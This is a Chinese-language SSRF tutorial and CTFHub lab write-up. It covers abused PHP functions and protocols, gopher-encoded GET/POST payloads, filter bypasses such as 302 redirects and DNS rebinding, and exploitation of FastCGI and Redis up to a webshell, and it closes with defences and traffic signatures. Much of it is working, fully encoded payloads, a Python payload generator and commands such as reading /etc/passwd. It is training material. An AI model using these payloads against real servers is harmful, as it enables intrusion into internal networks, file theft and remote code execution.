SSRF漏洞定义
SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
攻击的目标
从外网无法访问的内部系统(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
形成的原因
大多是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制。
SSRF漏洞危害
通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。
1、利用file协议读取本地文件
2、对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
3、攻击运行在内网或本地的应用程序
4、对内网web应用进行指纹识别,识别企业内部的资产信息
5、攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
SSRF漏洞的利用方式可以分成两个方向:相关php函数、常利用的相关协议
相关php函数
curl_exec() 用于执行cURL会话,处理复杂的HTTP请求。
fsockopen() 打开一个网络连接,用于低级别的网络通信
file_get_contents() 读取文件或URL内容到字符串,简单高效
fopen() 打开文件或URL,可以用于读写操作
readfile() 读取文件并直接输出,简单快速
常利用的相关协议
file:// 从文件系统中获取文件内容,如 file:///etc/passwd
http:// 常规URL形式
dict://字典服务协议,访问字典资源,如 dict:///ip:6767/info:
ftp://可用于网络端口扫描
gopher://分布式文档传递服务
file://
从文件系统中获取文件内容,格式为file://[文件路径]
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie 显示当前网段路由信息
http://
作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。
http://example.com
http://example.com/file.php?var1 =val1 &var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1 =val1 &var2=val2
https://user:password@example.com
协议之间的区别:
查找内网存活主机IP file://
查找内网主机开放端口 dict://、ftp://
目录扫描 http://
如内网http://127.0.0.1,通过目录扫描获取网站子页面,使用burp打开代理拦截页面发送至intruder,子页面为http://127.0.0.1/文件名+后缀,为文件名和后缀添加payload变量。
根据数据包大小判断是否有内容页面。可以增加扫描选项如php、zip、txt等。
dict://
查找内网主机开放端口,获取内网信息,格式为:dict://
+ip:端口
+/TCP/IP数据
ftp://
也可用于网络端口扫描,效率相对较低。
通过burpsuite抓包,在网址后添加dict://192.168.225.1:80
在1和80处增加模块,选择集束炸弹,设置payload后进行测试:
1、根据Length判断是否返回数据,从而判断端口是否打开
2、利用不同的Payload同时扫描多个IP的多个端口
gopher:// (做题可能会出错,很正常,保持耐心)
gopher://
是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。gopher协议是ssrf利用最广泛的一个协议 。
**利用范围:**GET提交、POST提交、redis、fastcgi、SQL
基本格式:
gopher://<目标IP>:<端口>/<gopher-path>
注意gopher协议默认端口为 70,web也需要加端口。
测试一下,在kali的终端里开启nc监听70端口,然后curl gopher://127.0.0.l/abcd
(不输入端口时,gopher协议默认端口70),发现gopher请求是不转发第一个字符的。
所以,要保证转发的数据正确,就需要自己在第一位填充下划线_或者其他字符:
gopher伪协议实现GET提交
需要保留头部信息:
1、路径:GET /name.php?name=123 HTTP/1.1
2、目标地址:Host:172.250.250.4
gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
注意:
添加端口号80和填充位
URL编码:
空格 :%20
问号 :%3f
换行符 : %0d%0A
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0D%0A,但如果直接用工具转,可能只会有%0A
3、在HTTP包的最后要加%0D%0A(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符
gopher伪协议实现POST提交
需要保留头部信息:POST、Host、Content-Type、Content-Length
将下面保留的内容进行两次URL编码:
POST /name.php HTTP/1.1
Host:172.250.250.4
Content-Type:application/x-www-form-urlencoded
Content-Length:8
name=123
注意:
1、POST后面是要提交的文件名
2、Host为目标主机
3、类型要和提交的类型一致
4、长度为下面提交内容的具体长度
5、中间的空行不能少
6、回车换行要变为%0D%0A,但如果直接用工具转,可能只会有%0A
无论是GET提交还是POST提交,gopher的格式是不变的:
gopher://172.250.250.4:80/_编码后的内容粘贴至此
CTFHub技能树:
1、输入?url=file:///var/www/html/flag.php
得到以下代码
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
2、输入?url=127.0.0.1/flag.php
回显:
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=1766811aa32af96837a1e79f776bfbd6-->
</form>
发现key的值
3、那我们可以构造payload为:
POST /flag.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36
key=1766811aa32af96837a1e79f776bfbd6
经过一次url编码后:POST%20/flag.php%20HTTP/1.1%0AHost%3A127.0.0.1%0AContent-Type%3Aapplication/x-www-form-urlencoded%0AContent-Length%3A36%0A%0Akey%3D1766811aa32af96837a1e79f776bfbd6
注意:需要将%0A
替换成%0D%0A
第二次编码后:POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36%250D%250A%250D%250Akey%253D1766811aa32af96837a1e79f776bfbd6
4、在编码后的payload前加上?url=gopher://127.0.0.1:80/_
,在浏览器框内输入?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36%250D%250A%250D%250Akey%253D1766811aa32af96837a1e79f776bfbd6
,即可获得flag
SSRF之绕过
URL绕过
1.利用[::]
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/
2.利用@
这里就是在指定的网址后加@127.0.0.1
3.利用短域名
http://dwz.cn/11SMa >>> http://127.0.0.1
4.利用句号
127。0。0。1=>127.0.0.1
环回地址绕过
在CTF比赛中,有时会限制访问本地网站的内容,当$_SEVER['REMOTE_ADDR']=='127.0.0.1'
时会报错,但是flag又需要在127.0.0.1
才能访问,这时候我们可以对127.0.0.1
进行变形绕过。
302重定向绕过
当私网地址被过滤时,可以使用302重定向绕过。(需要一台公网服务器或者将VMware的网卡改成公网的)
**原理:**当访问公网ip下的一个php文件(含重定向代码)时,php文件会重定向访问代码中的目标地址,实现绕过。
php代码如下:
<?php
header('Location:http://127.0.0.1/flag.php');
?>
DNS重绑定绕过
首先要知道,针对SSRF漏洞的防御一般有以下几个:
1.解目标URL,获取其Host
2.解析Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,重新执行1
上面的防御可以有效限制:
直接访问内网IP;
302 跳转;
xip.io/xip.name;
短链接变换等 URL 变形;
畸形 URL;
iframe 攻击;
IP 进制转换;
针对这种防御可以使用DNS Rebinding Attack**(DNS 重绑定攻击)**
SSRF防御要进行两次DNS解析,第一次DNS解析是对URL的host进行DNS解析
第二次DNS解析是使用CURL发包的时候进行解析。我们的突破口就是第二次的DNS解析。
攻击原理
利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
攻击方式
1、将第一次DNS解析的IP设为合法IP,绕过host合法性检查。
2、将第二次DNS解析的IP设为内网IP,实现SSRF访问内网。
这里需要用的网站是:https://lock.cmpxchg8b.com/rebinder.html
例如CTFHUB技能树的DNS重绑定,在上面所说的网站中填写A、B的IP地址,B的随便写就行。
将下面生成的DNS复制,构造payload:?url=7f000001.e170d501.rbndr.us/flag.php
,GET提交即可得到flag
SSRF漏洞利用
文件上传利用(ctfhub技能树–上传文件)
格式要求:
1、打开网站,进入?url=127.0.0.1/flag.php
页面,发现文件上传没有提交按钮,于是查看源码在form表单中写一个提交按钮。
2、随便新建一个文件,提交时使用burp suite抓包,抓取我们POST提交需要的内容
3、修改Host和Content-length即可,脚本如下:
import urllib.parse
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 285
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypE3OJURMLr0Wyw1s
------WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php?>
------WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundarypE3OJURMLr0Wyw1s--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
生成payload为:?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250A%2520%2520%2520%2520Host%253A%2520127.0.0.1%250D%250A%2520%2520%2520%2520Content-Length%253A%2520292%250D%250A%2520%2520%2520%2520Content-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520Content-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250A%2520%2520%2520%2520Content-Type%253A%2520text/plain%250D%250A%2520%2520%2520%2520SSRF%2520Upload%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520Content-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%2520%2520%2520%2520%25E6%258F%2590%25E4%25BA%25A4%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY--
,得到flag
SQL注入
GET提交
GET提交中,空格要编码成%20,直接敲一个空格或者+号是不行的。
要注意的是,在浏览器栏中提交特殊字符要做一次url编码,而在Hackbar和Burpsuite提交GET或POST数据要对构造的原始payload做两次url编码。
POST提交
首先gopher://127.0.0.1:80/_
起手,然后将下面的代码进行两次url编码:
POST /Less-11/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:53
uname=-1'union select 1,2 #&passwd=123&submit=Submit
拼接之后进行POST提交即可
FastCGI协议
FastCGI原理:https://blog.csdn.net/mysteryflower/article/details/94386461
简单地概括一下漏洞产生的原理:
PHP-FPM的fix_pathinfo配置:
PHP-FPM的fix_pathinfo选项用于支持Path Info模式,在打开时,如果SCRIPT_FILENAME指定的文件不存在,PHP-FPM会逐级去掉路径的最后一部分,直到找到存在的文件。
这种机制会导致Nginx传递的路径信息被PHP-FPM错误解析和执行,形成解析漏洞。
**利用:**通过构造特定的URL,如http://127.0.0.1/favicon.ico/.php
,使Nginx传递的SCRIPT_FILENAME变为/var/www/html/favicon.ico/.php
。
PHP-FPM根据fix_pathinfo配置,去掉.php后,解析并执行/var/www/html/favicon.ico
文件,导致解析漏洞。
PHP-FPM的安全配置:
PHP-FPM的security.limit_extensions配置项限制了可执行文件的后缀类型,防止任意文件被执行。
默认情况下只允许执行.php文件,但如果配置不当,可能导致任意文件执行漏洞。
**利用:**如果PHP-FPM的9000端口暴露在公网,攻击者可以直接与PHP-FPM通信,构造FastCGI请求。
通过构造特定的环境变量,如PHP_VALUE和PHP_ADMIN_VALUE,设置PHP配置项。例如:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input
和allow_url_include = On
,将恶意代码放在请求的Body中,实现任意代码执行。
CTFHub技能树–FastCGI协议
1、要利用FastCGI协议,首先找到目标主机上存在的.php后缀文件,这里输入url=file:///var/www/html/index.php
,查看源代码发现是存在的。
2、在kali中打开gopherus,输入命令构造payload:先输入php文件所在的位置,然后输入要执行的命令ls /
。
3、将生成的payload放到bp中再进行一次url编码
4、GET传入payload,得知flag的真正名字,于是再进行一次payload的构造:改变命令为cat /flag_198d5102767c129bfeace112e4473230
。
5、将payload再次url编码后传入即可获得flag
Redis协议
在利用SSRF攻击Redis前,先要理解一下Redis的客户端和服务端的通信方式,以及数据发送的格式。这里就涉及到一个RESP协议
RESP协议
RESP协议(REdis Serialization Protocol)是Redis客户端与服务器之间通信的协议。它是一种简单、高效的文本协议,易于实现且具有良好的可读性。
RESP协议支持多种数据类型,包括简单字符串、错误信息、整数、批量字符串和数组:
简单字符串以+开头
错误信息以-开头
整数以:开头
批量字符串以$开头
数组以*开头
每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型
例如:
这里第一行的*4
代表了数组长度为4([‘config’,‘set’,‘dir’,‘/var/www/html/’]),第二行的$6
代表了字符串的长度(config的长度),其中每一个换行都是\r\n
在设置payload时需要更换成%0D%0A
Redis未授权webshell写入
例题:CTFHub技能树–Redis协议
1、这道题提示redis://127.0.0.1:6379
,那我们就使用dict协议去检测端口是否开放:dict://127.0.0.1:6379
,发现是开放的。
2、那我们直接使用gopherus工具进行构造payload(这里两个地方都使用默认值):
3、对生成的payload进行第二次url编码,拼接到?url=
后面,提交后回显504超时,这里应该是因为工具生成的payload的末尾没有加上quit,使得payload是挂起状态,但是实际上shell.php已经写入html目录下了。
4、访问shell.php,并在后面接上参数cmd=ls /
,展示根目录下的文件,发现flag的信息,直接cat /f*
即可。
SSRF防御
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
流量特征分析
• 请求来源一般是内网服务器
• 请求较为频繁
• 异常的协议使用,如file,dict,gopher,ftp等伪协议
• url中的url跳转相关参数为内网ip或者是不寻常的外部地址
补:与url相关的参数 url,sourceURL,imageURL,share,link,target,domain
• url跳转相关的参数可能出现一些特殊字符,编码等尝试进行饶过安全设备检测
• url跳转相关的参数可能访问端口为异常端口如8080,9090等端口
补:内部服务可能配置在一些非标准端口上
• url跳转相关的参数可能出现以下php中的函数
file_get_contents() 作用是读取文件内容获取网络资源
fsockopen() 作用是开启网络连接
curl_exec() 使用所有的网络协议